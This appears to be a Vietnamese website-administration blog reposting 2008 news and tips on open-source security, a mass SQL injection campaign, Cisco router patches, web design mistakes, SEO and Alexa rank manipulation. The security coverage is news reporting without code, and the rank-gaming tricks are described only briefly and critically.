Quản Trị Website

Nguồn mở ngày càng bảo mật

2008-05-26T00:31:00.000+07:00

Chất lượng cũng như độ bảo mật của các phần mềm nguồn mở đang được cải thiện một cách nhanh chóng, nghiên cứu mới nhất của hãng Covertity cho biết.

Bản báo cáo Scan Report on Open Source Software 2008 đã tiến hành phân tích trên 55 triệu dòng mã thuộc 250 ứng dụng nguồn mở thông dụng, bao gồm cả Linux và Apache.

Cuộc nghiên cứu diễn ra trong suốt 2 năm qua, dưới sự tài trợ của Dự án Phát triển nguồn mở của Chính phủ Mỹ.

Sử dụng công cụ phân tích mã nguồn mở Prevent, Coverity nhận thấy tỷ lệ lỗi và lỗ hổng bảo mật bên trong phần mềm nguồn mở đã giảm tới 16% so với thời điểm năm 2005.

"Điều này đồng nghĩa với việc hơn 8500 lỗ hổng đã bị xóa sổ", Coverity cho biết.

"Những hành vi như sử dụng tùy tiện trước khi chạy thử và kiểm tra các tác dụng phụ ngày càng ít đi".

Kết luận của bản báo cáo dường như hoàn toàn trái ngược với suy nghĩ thông thường, rằng những dự án nguồn mở với sự tham gia của đông đảo cộng đồng thường hay sơ sểnh và hớ hênh về mặt bảo mật.

"Chất lượng viết mã và độ an toàn của các dự án nguồn mở đã được nâng cao một cách rõ rệt.

Điều này cho thấy cộng đồng nguồn mở thực sự tâm huyết và nỗ lực trong việc tạo ra những phần mềm có độ ổn định và thống nhất cao", chuyên gia David Maxwell của Coverity nhận định.

"Trong vòng 2 năm qua, đã có gần 10 tỷ dòng mã được viết ra, trong khuôn khổ 14.238 dự án nguồn mở.

Tuy nhiên, chúng tôi chỉ lựa chọn những dự án phổ biến và có nhiều người dùng nhất để phân tích mà thôi".

(Theo VNUnet)

Hàng ngàn máy chủ bị tấn công SQL Injection

2008-05-26T00:28:00.000+07:00

Một đợt tấn công brute-force SQL Injection dữ dội bắt đầu vào ngày 13-5 đã gây ảnh hưởng lớn đến hơn 10.000 máy chủ, lây nhiễm malware cho hàng ngàn website Trung Quốc và Đài Loan.

Khởi điểm từ 1000 máy chủ đặt tại Trung Quốc, những kẻ tấn công đã sử dụng các truy vấn được tự động gửi đến công cụ tìm kiếm của Google để định danh các trang web với các lỗi bảo mật có thể khai thác. Hơn nữa, kẻ tấn công cũng không nhắm đến một lỗi bảo mật mà khai thác đến hơn 10 lỗ hổng bảo mật nguy hiểm bao gồm: MS06-014 (CVE-2006-0003), MS07-017 (CVE-2007-1765), RealPlayer IERPCtl.IERPCtl.1 (CVE-2007-5601),GLCHAT.GLChatCtrl.1 (CVE-2007-5722), MPS.StormPlayer.1 (CVE-2007-4816), QvodInsert.QvodCtrl.1, DPClient.Vod (CVE-2007-6144), BaiduBar.Tool.1 (CVE-2007-4105), VML Exploit (CVE-2006-4868) và PPStream (CVE-2007-4748).

Giám đốc điều hành công cụ ứng dụng bảo mật cho Web Armorize Technology, ông Wayne Huang nhận xét "cuộc tấn công đã được thiết kế khá tốt".

Việc lập trình không được chăm chút có thể dẫn đến việc tin tặc khai thác các lỗi SQL dễ dàng. Trong tháng trước, một đợt tấn công SQL Injection đã gây tổn thất cho hơn nửa triệu website. Tiếp theo đó, một trang web của Oklahoma đã bị tin tặc khai thác lỗi chỉ qua một vài câu lệnh truy vấn SQL là có thể mò vào tận cơ sở dữ liệu, chạm tay đến 10.597 số an sinh xã hội và hồ sơ phạm pháp của các công dân thuộc nơi Oklahoma.

Hiện các chuyên gia bảo mật và quản trị server đang tiến hành xử lý khắc phục lỗi để ngăn chặn hệ thống của mình bị cuốn vào đợt tấn công kế tiếp.

Cisco vá lỗi nguy hiểm trong Router

Hãng Cisco đã phát hành 3 bản vá bảo mật có thể gây trục trặc cho các sản phẩm router sau khi được cảnh báo vào đầu tuần.

Bản vá tập trung sửa chữa lỗi DoS của phần mềm SSH (Secure Shell) trong Cisco Internetwork Operating System (IOS) và Cisco Service Control Engine. Máy chủ SSH được quản trị viên dùng để kết nối từ xa vào trong một router sử dụng mã hóa. Theo Cisco công bố đến khách hàng, lỗi trong phần mềm có thể bị tin tặc khai thác lặp lại việc nạp thiết bị hay truy xuất giả mạo hoặc khóa phần cứng trong một cuộc tấn công từ chối dịch vụ (DoS).

Trong khi đó, chuyên viên nghiên cứu bảo mật Sebastian Muniz thuộc Core Security Technologies đã giới thiệu trong hội nghị bảo mật EuSecWest tại London từ ngày 22-5 về một rootkit tấn công vào IOS (Internetwork Operating System, một hệ điều hành chuyên dùng cho các bộ đính tuyến của Cisco). Theo Muniz, tin tặc có thể khai thác rootkit, tấn công vào các lỗi trong router của Cisco để thâm nhập sâu vào hệ thống. Tuy nhiên, Muniz cũng không có ý định công bố mã nguồn của rootkit này, việc phát triển rootkit chỉ để chứng minh rằng các router của Cisco cũng không phải lệ ngoại lệ với rootkit.

Cisco khuyến cáo khách hàng nên truy cập vào phần bảo mật trên website của mình để có thể cập nhật thông tin hay tải các bản vá mới nhất.

(Theo TuoiTre)

7 lỗi lầm lớn có thể giết chết trang web của bạn

2008-05-26T00:27:00.000+07:00

Một website được thiết kế tốt khi nó có khả năng kêu gọi mua hàng. Điều cơ bản là trang web phải thu hút mọi người lưu lại trên đó càng lâu càng tốt, níu kéo họ đi vào những thông điệp để họ có thể ra quyết định mua hàng.

Tuy nhiên trên thực tế, có những website lại tỏ ra đi ngược hướng với xu thế tích cực trên. Do vậy, để không hề phạm phải bất kỳ lỗi nào trong bảy lỗi nguy hiểm nhất, bạn nên lưu ý tới những cảnh báo dưới đây.

1. Những trang và phần đồ họa được tải quá chậm chạp: Hãy thử đếm từ 1 đến 3 và đó được xem là khoảng thời gian đăng tải. Nếu khách hàng không thể bắt đầu đọc hoặc xem được trang của bạn ngay thì việc họ bỏ đi để tìm đến một website khác là một điều hoàn toàn có thể xảy ra.

Nếu phải dùng đến những thiết kế đồ họa trên trang chủ của mình, hãy cung cấp những biểu tượng nhỏ có tích hoạt dẫn đến những mẫu đồ họa to lớn hơn và hãy thông báo với người xem rằng họ nên chờ đợi trong giây lát.

Sau đây là những thứ bạn có thể tận dụng để tăng tốc thời gian đăng tải trang web của mình:

• Giảm thiểu kích cỡ các file đồ họa trên trang và thứ công cụ tuyệt hảo nhất để sử dụng chính là WebGraphics Optimizer.

• Chọn lựa chi tiết mẫu kích thước của file đồ họa bằng mã HTML.

• Loại bỏ bớt những dòng văn bản nhiều màu sắc trên file đồ họa.

2. Không có dòng tiêu đề để lôi cuốn sự chú ý của khách hàng: Nếu khách hàng đã quyết định một lần thử đi vào website của bạn, thì bạn phải thuyết phục họ rằng trang của bạn chứa đựng đúng những gì họ đang tìm kiếm. Cách tốt nhất để làm được như vậy là đi cùng với một dòng tiêu đề được định dạng khuôn thức, quy cách thật chỉnh và bắt mắt. Không thấy sức thu hút, khách hàng buộc lòng phải đọc thêm về những nội dung bên dưới và vì vậy có thể họ sẽ bỏ đi.

3. Những banner quảng cáo và các đường dẫn gây rối trí: Đừng bao giờ đặt lên trên website của bạn những banner quảng cáo hay những đường link dẫn dắt khách hàng của bạn đi đến với những website khác, kể cả là những mục quảng cáo của Google AdWords.

Tất nhiên, nếu mục đích của website đơn thuần chỉ là quảng bá, khuyến mãi những sản phẩm của các đối tác khác hay bán đi những khoảng trống cho quảng cáo thì bạn sẽ đính kèm những banner và đường link trên site.

4. Quá nhiều màu sắc và font chữ: Để thể hiện một dáng dấp chuyên nghiệp cho trang của bạn, hãy sử dụng cách phối hợp màu sắc đơn giản với hai hoặc ba màu cùng với một vài kiểu font chữ. Nếu quan sát những website được thiết kế đẹp mắt thì bạn sẽ thấy rằng tất cả đều rất khiêm tốn trong việc sử dụng màu sắc và font chữ.

5. Phông nền hoa văn: Phông nền là phông nền. Nếu cứ thêm thắt vào đó những kết cấu trang trí hay những khối màu đậm và tối thì chắc chắn mọi người sẽ không dễ dàng đọc được những gì được in trên đó.

Kinh nghiệm cho thấy rằng những website nào đi cùng với ký tự màu đen trên một phông nền màu trắng đơn thuần cùng với sự phối màu thật hạn chế luôn được khách hàng lưu tâm.

6. Quá nhiều đồ họa, hoạt hình và video clip gây rối mắt: Nhiều hình ảnh, đồ họa hoa mỹ, hình ảnh hoạt hình vui nhộn và các video clip có thể giúp trang web hấp dẫn hơn. Nhưng nếu chúng không thuyết phục được người xem mua hàng nhiều hơn thì tất cả chỉ là một sự trang trí vô dụng, ngăn cản khách hàng làm theo những gì bạn muốn họ làm.

7. Khối ký tự văn bản quá nhiều đến nỗi khó lòng đọc hết được: Một khối văn bản có kích thước khổng lồ, chi chít chữ dễ làm người đọc nản lòng và bỏ đi tìm kiếm những website ngắn gọn hơn.

Do đó, hãy hạn chế các đoạn văn chỉ dài đến sáu dòng là tối đa và đa dạng hóa các đoạn văn. Một cấu trúc các đoạn văn đa dạng sẽ khiến các văn tự trực tuyến trở nên dễ đọc hơn rất nhiều.

Nếu mắc phải một trong những lỗi lầm trên đây, hãy sửa đổi ngay. Bạn hoàn toàn làm được mà không cần đến một nhà thiết kế web nào.

(Theo DNSGCT)

Google ra mắt công cụ bảo mật web

2008-05-18T13:34:00.000+07:00

Hôm qua (8/5), Google chính thức ra mắt sản phẩm bảo mật Web Security for Enterprise được thiết kế riêng giúp bảo vệ hệ thống mạng của doanh nghiệp trước mọi cuộc tấn công bằng mã độc trong thời gian thực.

Tim Johnson – Giám đốc marketing sản phẩm của Google – cho biết ứng dụng này cho phép doanh nghiệp có thể giám sát cách thức truy cập Internet của nhân viên.

Ngoài ra sản phẩm còn cung cấp cho doanh nghiệp công cụ xây dựng và thực thi chính sách sử dụng Internet. Ngoài ra các nhà quản trị còn có thêm tính năng cho phép áp dụng cơ chế bảo mật tương tự đối với nhân viên làm việc từ xa. Ứng dụng Web Security for Enterprise sẽ tự động chuyển hướng mọi luồng dữ liệu kết nối từ xa đi qua cơ chế quét diệt mã độc.

Google tuyên bố sản phẩm có thể chống lại virus web, phần mềm gián điệp, các nội dụng không phù hợp, định dạng tệp tin theo cấu hình, giám sát hoạt động mạng, giảm thiểu mức thất thoát băng thông …

Web Security for Enterprise sẽ được tích hợp vào trong gói ứng dụng Google Apps. Có thể nói Web Security for Enterprise là một sản phẩm phần mềm mới trong chiến lược tung ra các phần mềm doanh nghiệp của Google nhằm cạnh tranh với “gã khổng lồ phần mềm” Microsoft.

(Theo Computerworld)

5 lỗi cần sửa để tăng xếp hạng trong công cụ tìm kiếm

2008-05-18T13:33:00.000+07:00

Để cải thiện thứ hạng của website trên công cụ tìm kiếm, điều đầu tiên bạn cần làm là phải phát hiện và loại bỏ ngay các lỗi nghiêm trọng thường khiến website của bạn trở nên vô hình trên Internet.

Những người tìm kiếm sản phẩm và dịch vụ của bạn trên Internet chính là những khách hàng tiềm năng nhất. Vì vậy, chính các công cụ tìm kiếm là nơi đem lại nguồn khách hàng to lớn mà bạn có thể không ngờ. Nếu không có thứ hạng cao hoặc tệ hơn là không xuất hiện trong kết quả tìm kiếm, bạn đã bỏ phí nguồn khách hàng lớn nhất của mình.

Phần lớn mọi người đều ngừng tìm kiếm nếu họ không tìm thấy điều mình muốn trong 3 trang đầu liệt kê kết quả tìm kiếm, chính vì vậy, website cần phải xếp hạng ít nhất trong 3 trang đầu, và xếp hạng càng cao càng tốt.

Tuy nhiên, ngay cả những trang web hấp dẫn nhất cũng có khi bị đẩy xuống “vùng xa xôi hẻo lánh” của các trang kết quả tìm kiếm vì những lỗi không đáng có. Có nhiều trang rất hữu ích và thân thiện lại nằm ở trang 72 của phần kết quả tìm kiếm thay vì trang 1 hay 2 bở chúng có một hay nhiều hơn các lỗi sau đây:

1. Nội dung không đầy đủ

Website của bạn cần có ít nhất 200 từ khóa ở mỗi trang. Các công cụ tìm kiếm xác định trang web dựa trên số từ được sử dụng trên trang đó. Một trang web có nhiều ảnh sẽ rất thú vị với người muốn mua hàng, nhưng công cụ tìm kiếm không hiểu được các bức ảnh mà cần phải có nội dung bằng chữ. Đồng thời, nội dung văn bản bạn cung cấp phải có đầy đủ các từ khóa mà mọi người muốn tìm. Nếu công ty của bạn bán thuốc trừ sâu và website nói về sức mạnh của “sự diệt trừ”, “diệt trừ sâu bọ”, “diệt côn trùng”,..., công cụ tìm kiếm sẽ hiểu website đó nói về mặt hàng gì. Nhưng nếu ai đó tìm kiếm với từ “ngăn chặn côn trùng có hại” thì có thể website của bạn sẽ không thể đến với khách hàng này do bạn không dùng mệnh đề đó.

2. Sử dụng khung (frame)

Tạo khung là một kỹ thuật mà các nhà quản trị web sử dụng để đơn giản hóa công việc và đảm bảo có một giao diện nhất quán trong tất cả các trang của website đó. Chẳng hạn, nhà thiết kế web có thể tạo một khung bên ngoài cho một trang với đường viền đỉnh đặc trưng, các lô gô... Và có thể có một đường viền bên trái với các đường kết nối tới nhiều trang khác nhau trên website. Cuối cùng có thể là một đường viền đáy với các thông tin liên hệ, thông báo bản quyền và đường kết nối tới chính sách cá nhân.

Trong các khung, phần chủ yếu của trang, nơi đặt nội dung chính, là vùng nằm trong những đường viền này và đó là phần duy nhất thay đổi khi đi từ trang này sang trang khác. Đáng tiếc là, các công cụ tìm kiếm thường gặp khó khăn khi phải “lục soát” trong các trang web có khung và có thể sẽ không đưa tất cả các trang này vào danh sách kết quả. Và các trang bị bỏ qua tất nhiên không bao giờ xuất hiện trong kết quả tìm kiếm với các từ khóa của họ.

Còn có một vấn đề quan trọng nữa khi trang nội dung xuất hiện trên kết quả tìm kiếm. Đó là khi người tìm kiếm nhấn chuột vào đường kết nối trên trang kết quả, họ sẽ được kết nối thẳng vào phần nội dung của trang. Chỉ mỗi phần nội dung, không bao gồm khung bên ngoài cùng với đặc điểm nhận biết của website, các chi tiết thông tin liên hệ, .. Vậy giải pháp nào là đơn giản nhất? Chính là hạn chế sử dụng khung.

3. Đồ họa có văn bản

Bởi vì có rất nhiều người khác nhau truy nhập website từ những máy tính cài đặt các font khác nhau, do vậy cách duy nhất để đảm bảo rằng nội dung văn bản trong trang web sẽ xuất hiện với đúng font, kích cỡ, xuống dòng... đã định dạng là đưa vào trong một bức ảnh. Và thông thường những văn bản này trong rất “bắt mắt”.

Tuy nhiên, các công cụ tìm kiếm không thể hiểu nếu phần đồ họa thể hiện thông tin văn bản dưới dạng ảnh hay đưa ra hình ảnh rất đẹp về sản phẩm. Từ ngữ trong đồ họa không có ý nghĩa nhiều trong công cụ tìm kiếm. Để hiểu được trang web của bạn có “Sản phẩm rẻ nhất”, công cụ tìm kiếm cần tìm được những từ ngữ rõ ràng trên trang.

Tương tự, công cụ tìm kiếm cũng không hiểu được các nút nhất định hướng có từ khóa. Vì vậy, bạn nên đưa các từ khóa vào trong đường nối dẫn đến site của mình. Như vậy, công cụ tìm kiếm sẽ hiểu được những trang nào liên quan đến. Và cũng nên thay thế các nút nhấn định hướng bằng các đường kết nối có chứa từ ngữ đến các trang web, hoặc bổ sung thêm các đường kết nối có chứa từ liên quan trong websitec của mình.

4. Nội dung động (dynamic content)

Trang web động rất phổ biến trên các site thương mại điện tử với hàng loạt trang mô tả hàng trăm sản phẩm. (Trang web động được dựng từ một cơ sở dữ liệu thông tin sản phẩm và thường được nhận biết bằng sự xuất hiện “?” ở nơi nào đó trên địa chỉ trang).

Tiếc là, các trang web động thường bị các công cụ tìm kiếm bỏ qua vì nhiều lý do kỹ thuật. Có một cách để hạn chế vấn đề này là tạo các trang web tĩnh theo chủ đề. Lấy ví dụ trường hợp bạn bán nhiều loại thiết bị điện tử để bàn và cầm tay. Bằng cách tạo một trang web tĩnh (một trang web “bình thường” không được tạo từ cơ sở dữ liệu) cho thiết bị để bàn và một trang khác cho thiết bị cầm tay, bạn có thể sử dụng các từ khóa quan trọng trên các trang này và vẫn kết nối đến các trang động để trưng bày từng sản phẩm. Công cụ tìm kiếm không hiểu được các trang động nhưng sẽ hiểu được trang tĩnh theo chủ đề mô tả và kết nối đến hàng loạt sản phẩm khác nhau.

5. Thiếu các kết nối phổ biến

Phần lớn các công cụ tìm kiếm xếp hạng kết quả theo cách đo lường số lượng và chất lượng các website có kết nối đến website được đánh giá. Điều này phản ánh quan điểm của họ cho rằng các website tốt sẽ không kết nối đến các trang vô giá trị.

Nếu có nhiều website tốt kết nối đến trang của bạn sẽ có một vị trí cao hơn các trang có ít đường kết nối vào. Tất nhiên, một website có nội dung tốt sẽ hơn hẳn một website mới toanh, nhưng nói chung, khi xét tất cả các yếu tố đều cân bằng, một website có nhiều đường kết nối đến vẫn sẽ được xếp hạng cao hơn. Và một website không có đường kết nối vào nào có thể bị một số công cụ tìm kiếm bỏ qua.

Cũng cần nhớ nên thu nhập kết nối từ các trang web cung cấp dịch vụ bổ sung chứ không cạnh tranh với loại kinh doanh của bạn. Hãy kiểm tra trên danh mục liệt kê theo ngành kinh doanh của bạn.Và hãy sẵn sàng để cung cấp đường kết nối trở lại các website đã kết nối tới website của bạn.

Nếu có thể hạn chế được 5 lỗi trên, bạn sẽ tránh được vị trí xếp hạng xa tít tắp trong các chương trình tìm kiếm. Luôn hiện diện trong thế giới Web chính là bước đầu tiên để thành công trên web. Và trong khi bạn nỗ lực để đạt được vị trí trên 3 trang tìm kiếm đầu tiên của các từ khóa chính, thì việc đầu tiên cần làm là kiểm tra xem website của bạn có mắc một trong 5 lỗi nghiêm trọng trên đây không.

(Theo TC BCVT & CNTT)

37 "mẹo" kéo khách vào web

2008-05-12T00:42:00.000+07:00

Cũng như hàng hóa và các phương tiện khác, muốn website của công ty bạn được nhiều người biết đến thì phải tiếp thị, quảng bá nó. Trang web của công ty không những phải chuyên nghiệp về nội dung mà còn phải "nhà nghề" về thiết kế và biết cách lôi kéo khách đến xem.

Sau đây là một số "mẹo" đã được tạp chí Internet London giới thiệu trong thời gian qua:

Nội dung là... thượng đế!

15 lời khuyên đầu nhắc bạn làm web cũng giống như mở cửa hàng, phải luôn luôn tự hỏi:

1. Trên web có gì lạ, có gì cần để khách phải dừng chân.

2. Sự khác biệt của web "chỉ ghé qua một lần" và trang web khiến người ta phải vào hàng ngày là thông tin tươi mới, cách làm mới.

3. Phải có tính độc đáo của nội dung và hình thức, nếu có lỡ "copy" ý tưởng của người khác thì phải chứng tỏ mình thực hiện tốt hơn.

4. Luôn tìm hiểu đối tượng vào là những ai, tra cứu cái gì.

5. Website cần có chức năng tìm kiếm để người truy cập có thể tìm kiếm dữ liệu. Đây là một tính năng vượt trội mà một tờ báo in hay một prochure công ty muốn làm cũng bó tay !

6. Đừng khoe khoang là trang web của bạn có đủ thứ. Cứ cho biết những thông tin và khả năng thật của mình là được rồi.

7. Hãy gợi mở và để sẵn những công cụ cho người vào tự tìm kiếm thông tin. Làm cho người ta tò mò muốn tìm hiểu chứ không cần bày ra ngay tất cả.

8. Thường xuyên cập nhật thông tin tươi mới.

9. Thông tin tươi mới không chỉ là chữ mà còn là hình ảnh. Nhiều website cho thay đổi hình ảnh hàng này để tạo sự mới lạ.

10. Mở chuyên mục tin tức cho công ty của bạn và luôn cập nhật thông tin.

11. Tin tức trên website không chỉ là thông tin làm ăn mà còn có ý nghĩa giáo dục tiêu dùng, kinh doanh, đặc biệt là thương mại điện tử.

12. Tên của website cũng là một loại thương hiệu. Đặt tên cho hay, ấn tượng dễ nhớ, và nhớ đăng ký bản quyền để tránh những tranh chấp.

13. Những thông tin liên quan đến người sử dụng cần được xem trọng. Thật tuyệt vời nếu như người ta vào web không chỉ thấy có hàng hóa, dịch vụ mà còn có lịch chiếu phim, thông tin sự kiện sắp đến, thời tiết, tỷ giá ngoại tệ, giá vàng...

14. Hỏi ý kiến người sử dụng, kể cả trưng cầu ý kiến bằng cách bỏ phiếu. Tuy nhiên phải cân nhắc việc thông tin bị lộ cho phép đối thủ nắm được ý tưởng của mình.

15. Lâu lâu cần có một "happy hour" hoặc "happy day" để kích thích người truy cập viếng thăm website của bạn. Các web thường xuyên cho lấy "chùa" một số phần mềm hay đăng ký nhận không mất tiền một thông tin nào đấy.

Càng có nhiều thứ "miễn phí" càng tốt

16. Mở tài khoản e-mail miễn phí trên trang web của công ty là một sáng kiến hay đã được Hotmail, Yahoo!... áp dụng thành công. Dĩ nhiên, có chỗ "chùa" cho e-mail thì có thêm một lý do khiến người sử dụng phải thường xuyên lui tới.

17. Ngoài ra, người ta còn miễn phí không gian để khách hàng đặt trang web của họ lên trạm web của mình. Đấy cũng là một cách "buôn có bạn, bán có phường"!

18. Một đề nghị nữa là trên trạm web công ty của bạn có luôn những dịch vụ như một ISP miễn phí (cung cấp dữ liệu, phần mềm, thiết kế, tư vấn... ). Ngay chính ngân hàng cũng có thể mở chợ trên mạng và đầu tư vào Internet, kinh doanh như một ISP vậy.

19. Cho thêm một thứ "chùa" khác là cung cấp thiệp điện tử. Một trong những nơi cho không phần mềm làm dịch vụ thiệp điện tử là trạm web của Học viện Kỹ thuật Massachusetts.

20. Phần mềm cũng là một loại quà tặng khuyến mãi trên mạng rất được ưa chuộng. Cho quà gì cần chọn lựa tùy mục đích và đối tượng. Ví dụ, công ty đồ gỗ cho phần mềm thiết kế nhà cửa, công ty dệt may cho phần mềm sưu tập thời trang...

21. Games cũng là một món miễn phí được hoan nghênh. Hãy tạo thêm một lý do rất thực dụng và hồn nhiên cho khách quay lại, tại sao không?

22. Cũng giống như siêu thị, giờ đây người ta áp dụng cả cách tính điểm tặng quà cho khách vào sử dụng web. Có thể vào xem kinh nghiệm này tại www.ipoints.co.uk hay www.beenz.com.

Hình thức mỹ thuật và Phương diện kỹ thuật

23. Thời giờ là vàng bạc, đừng bắt người xem phải chờ lâu hơn 1 phút mới thấy đủ mặt mũi trang web hiện lên. Muốn thế, đừng đưa quá nhiều hình ảnh, âm thanh... lên web, bởi chúng chiếm dung lượng rất lớn. Mỗi trang web không nên vượt quá 60 Kb.

24. Tránh cảnh tượng trang web nhan nhản logo, banner quảng cáo. Người xem không có nhiều thì giờ, hình ảnh quảng cáo chỉ khiến người ta phải chờ lâu khi truy cập vừa gây cảm giác nhàm chán, khó chịu. Mỗi trang web chỉ nên có một hoặc hai banner đặt ở đầu và cuối trang. Có thể thêm 5 logo quảng cáo được đặt ở những vị trí không lấn át nội dung.

25. Một lời khuyên chung: web được coi là hấp dẫn phải là nơi người sử dụng bước vào nhanh nhất, lựa chọn nhanh nhất, đúng nhất. Theo kinh nghiệm của web Channel 4, sau một thời gian điều hành, người ta quyết định giảm thiểu ngay cả các thanh công cụ, bởi người vào đã học được nhanh chóng nơi nào họ cần vào, không cần phải hướng dẫn nhiều.

26. Tạo thêm những cửa sổ trình duyệt mới. Kỹ thuật cho phép ngay trên một trang web, bạn có thể tạo thêm một ô nội dung khác hiện lên cùng lúc. Người ta có thể dùng ô này để quảng bá một dịch vụ hay tiện nghi mới.

27. Có công cụ liên kết (link) với các website khác.

28. Có công cụ nói chuyện bằng văn bản tương tác trực tuyến (chat). Hai hay nhiều người có thể nói chuyện cùng lúc qua mạng về một sản phẩm hay ý định làm ăn nào đó.

29. Có forum. Điều này có thể vận dụng như hộp thư khách hàng. Tuy nhiên, để ngăn chận những thông tin gây nhiễu, cần có phương tiện lọc (filter), thông tin không nhất thiết phải đăng ngay.

30. Trang bị phương tiện ghi hình trên web (web cam). Đây là một kỹ thuật mới cho phép truyền hình trực tiếp lên trang web, rất hấp dẫn.

31. Có công cụ cho phép người sử dụng chọn cách thể hiện nội dung trên trang web theo cách riêng của mình. Chẳng hạn chọn đưa lên hàng đầu thông tin mới nhất về điều họ quan tâm như giá chứng khoán, tin giá cả sản phẩm cụ thể... Nói chung là cần chuẩn bị nhiều "thực đơn" cho khách. Muốn thế, cần phải nắm rõ thông tin cụ thể về nhiều loại đối tượng sử dụng, để chuẩn bị nhiều nội dung phục vụ cho thích hợp. Làm sao cho người sử dụng web thấy đây như là nhà mình, văn phòng mình, cảm giác thoải mái, thân thiệt là rẩt quan trọng.

32. Khách phải được tuỳ chọn muốn đưa lên những phần nội dung cá nhân của mình lên hay không.

33. Nếu cho khách để miễn phí trang web trên website của mình thì nhớ có phương tiện cho khách tự động vào thẳng.

34. Có dịch vụ tự động chuyển thông tin của mình đến e-mail của khách hàng, nhất là khách hàng để miễn phí e-mail trên website để nhắc họ luôn nhớ đến mình.

35. Nếu bạn cho sử dụng miễn phí e-mail và lưu trữ dữ liệu thì tên gốc e-mail phải giống tên gốc website của bạn thì mới đạt được mục đích quảng bá danh hiệu.

36. Phải luôn đặt mình vào vị trí người sử dụng để cải tiến nội dung và hình thức, phương tiện kỹ thuật của web cho ngày một hấp dẫn hơn.

37. Sẵn sàng "trưng cầu ý kiến bạn đọc" và thuê những nhà tư vấn phản biện, góp ý cho trang web của bạn.

(Theo ChungTa)

Tăng rank "bẩn" kiểu web Việt

2008-05-12T00:40:00.000+07:00

Một phương pháp đang được sử dụng khá phổ biến là dồn lưu lượng - đưa tất cả truy cập của nhiều trang web vào chung một trang web để đẩy thứ hạng của trang đó lên. Bằng chiêu này, nhiều trang web Việt, chỉ sau 5 tháng xuất hiện đã nằm trong top 200 trang web hàng đầu thế giới.

Tin được không?

Theo thống kê của trang web xếp hạng Alexa, hiện có khoảng chục trang web tiếng Việt Nam (VN) đang nằm trong top 100 trang web được nhiều người truy cập nhất tại Hàn Quốc (HQ). Trong số đó, có khoảng một nửa là các báo điện tử hoặc trang web sex tiếng Việt.

Điều này sẽ được lý giải ra sao, khi hầu hết người dân HQ đều dùng các trang "thuần nội" như naver.com, eyworld.com, daum.met và cả google.co.kr... Chưa hết, naver - với số lượng người dùng đông đảo kinh khủng như ở xứ sở Kim Chi và đang đứng đầu HQ lại chỉ đứng có thứ 315, trên toàn thế giới. Trong khi đó, một vài trang web tin tức thuần túy của người VN lại đứng chễm chệ ở top 100!

Cứ giả sử rằng, trình độ sử dụng, tần số sử dụng Internet của VN ngang bằng HQ (một giấc mơ của VN tại thời điểm hiện nay, vì người HQ sử dụng Internet gần như cả ngày, trong khi tính trung bình, người VN chỉ dùng khoảng 10 phút mỗi ngày), thì với số người sử dụng Internet là 34 triệu, quy mô truy nhập của các trang hàng đầu HQ này phải nhiều hơn các trang hàng đầu của VN mới được coi là hợp lý.

Cần biết thêm một điều, so về số lượng người dùng, đến cuối năm 2007 (10/2007), VN chỉ bằng khoảng 52% so với HQ... cách đó 10 tháng!

Thước đo "lởm" - vẫn dùng!

Alexa "tính" thứ hạng dựa trên hai chỉ số chính: số trang web được người dùng xem (page view) và số lượng người truy nhập trên trang Web đó (page reach). Tuy nhiên, có nhiều yếu tố đáng để nghi ngại về độ chính xác của công cụ này.

Trước hết, Alexa chỉ tính toán dựa trên các máy tính mà trình duyệt web có tích hợp thanh công cụ Alexa Toolbar (tiện ích giúp người dùng lướt web). Trong khi đó, thống kê của chính Alexa lại cho thấy, chỉ có khoảng 10 triệu máy tính trên khắp thế giới (khoảng 1% dân số người dùng Internet) là có sử dụng Alexa Toolbar.

Với trang web tiếng Việt, thì tỷ lệ máy tính cài đặt Alexa Toolbar, thậm chí, có thể còn thấp hơn, bởi đơn giản vì Amazon, công ty sở hữu Alexa chưa có kênh bán hàng trực tuyến tại VN và hơn nữa, còn từ chối các thanh toán xuất xứ từ VN.

Bên cạnh đó, giới thạo tin học cho rằng cách thức đánh giá trang web của Alexa rất dễ bị lợi dụng, nhằm biến một trang web "vô danh tiểu tốt" nhanh chóng trở thành một trang web "có số má".

Nhưng có lẽ, do thói quen và thiếu hiểu biết về Alexa nên công cụ xếp hạng trang web này vẫn được hầu hết người sử dụng Internet tại VN coi là tiêu chí hàng đầu để đánh giá trang web. Trong hoạt động quảng cáo trực tuyến, rất nhiều công ty VN đã dùng Alexa là thước đo quyết định và tính toán chi phí quảng cáo.

"Qua mặt" Alexa: Quá dễ!

Do những lợi ích từ việc có thứ hạng cao trên Alexa, rất nhiều chiêu thức đã được các web Việt sử dụng để để đẩy chỉ số Alexa tăng cao mà chưa hẳn là số lượng truy nhập thật. Theo ông Trần Hùng Cường, một chuyên gia về mạng có nhiều cách để tăng lượng truy nhập ảo.

Cách phổ biến là cài đặt Alexa Toolbar và đặt trang chủ cho tất cả các máy tính của công ty mình, hay cố gắng lôi kéo nhiều trang web link tới trang chủ của công ty mình để cải thiện thứ hạng. Cũng có trang web tăng truy nhập bằng cách sử dụng thuê bao mạng botnet (mạng máy tính bị chiếm quyền điều khiển) để tự tấn công từ chối dịch vụ vào trang web của mình. Cách này rất hiệu quả, có thể tăng thứ hạng nhanh mà khó bị Alexa phát hiện vì các truy nhập được huy động từ nhiều địa chỉ IP khác nhau.

Tinh vi hơn nữa là dùng thủ thuật tạo ra các trang web con (iFrame) có kích thước cực nhỏ nhúng bên trong trang web chính. Cách làm này tương tự bạn đặt hệ thống đếm người tại mọi cửa ra vào trong nhà nhưng bản thân hệ thống đếm đó lại không biết nhận dạng người và phòng. Như vậy, chỉ với khoảng 10 người vào nhà, hệ thống có thể đưa ra con số thống kê lên tới 1.000 người đã bước vào nhà (!). Ngoài ra, các đoạn mã nguồn có thể tái khởi động lại các IP truy nhập, không khác gì những người bước vào nhà qua cửa sau và lại vào nhà một lần nữa.

Cũng theo ông Cường, một phương pháp nữa đang được sử dụng khá phổ biến ở Việt Nam là dồn lưu lượng, có thể hiểu nôm na là đưa tất cả truy nhập của nhiều trang web vào chung một trang web để xếp hạng của trang web đó lên. Bằng cách này, nhiều trang web Việt Nam, thậm chí có trang web Việt chỉ trong thời gian 5 tháng xuất hiện đã nằm trong top 200 trang web hàng đầu thế giới.

Phân tích chỉ số truy nhập Alexa ở một số trang web hàng đầu ở Việt Nam, không khó tìm ra những trò "qua mặt" Alexa quá lố. Những trò này thể hiện cách thức làm ăn chộp giật, tăng rank thật mạnh rồi đi lừa những khách hàng thiếu hiểu biết để họ trả tiền quảng cáo. Nhưng sớm muộn gì người ta cũng sẽ hiểu Alexa chưa hẳn là chính xác.

(Theo SVVN)

